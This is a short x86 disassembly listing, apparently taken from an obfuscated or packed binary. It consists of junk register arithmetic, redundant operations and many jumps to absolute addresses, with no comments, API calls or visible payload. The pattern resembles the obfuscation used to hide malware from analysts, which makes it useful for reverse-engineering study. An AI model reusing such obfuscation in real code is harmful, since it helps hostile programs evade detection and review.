xchg edx, edi
jmp 0x4fcdab
pop esi
dec edi
sub edx, ecx
sub ecx, edi
dec edx
jmp 0x4fc824
pop esi
dec edx
and edi, ecx
shl ebx, 0x1d
add edx, 0x1f257c7f
xchg edi, edx
nop
xor edi, ebx
jmp 0x4fbe45
call fcn.004fc64e
add edi, ecx
sub ecx, ebx
or edx, edi
dec edi
xchg edx, ecx
xor ebx, ecx
dec edx
jmp 0x4fd3e4
pop esi
and ecx, ebx
neg edi
inc ebx
mov edx, ebx
xor edx, ebx
xor edx, ebx
xor ebx, ecx
inc edi
jmp 0x4fb57b
push 0x40
xor edx, ebx
and ecx, ebx
sub edi, ebx
and ecx, edi
or ebx, 0x1f5b7ca1
add ebx, edi
neg edx
and ecx, ebx
jmp 0x4fca82
push 0xf5caa5d
shl ecx, 6
mov ecx, edx
sub edx, 0x1f5e3a80
xor edi, edx
dec ecx
mov edi, edx
bswap edx
add edx, ecx
xchg ebx, edi
shr edx, 2
and edi, 0x1f620567
jmp 0x4fbb5e
call fcn.004fc64e
mov ebx, edi
and ecx, ebx
or ebx, 0x1f6b8b50
shr ecx, 0x17
sub edx, edi
or ebx, ecx
xor ebx, edx
xchg ecx, ebx
xchg edi, ecx
sub ecx, ebx
jmp 0x4fbfdf
mov esi, 0x2774562b
xchg edx, ebx
xchg ebx, edi
and edi, 0x1f862ad4
xor edi, 0x1f869851
xchg ecx, ebx
inc ecx
xor edi, ecx
add edi, ebx
and ebx, 0x1f88e200
dec ebx
and ecx, edi
inc edx
add edi, ecx
sub edx, ebx
jmp 0x4fbe63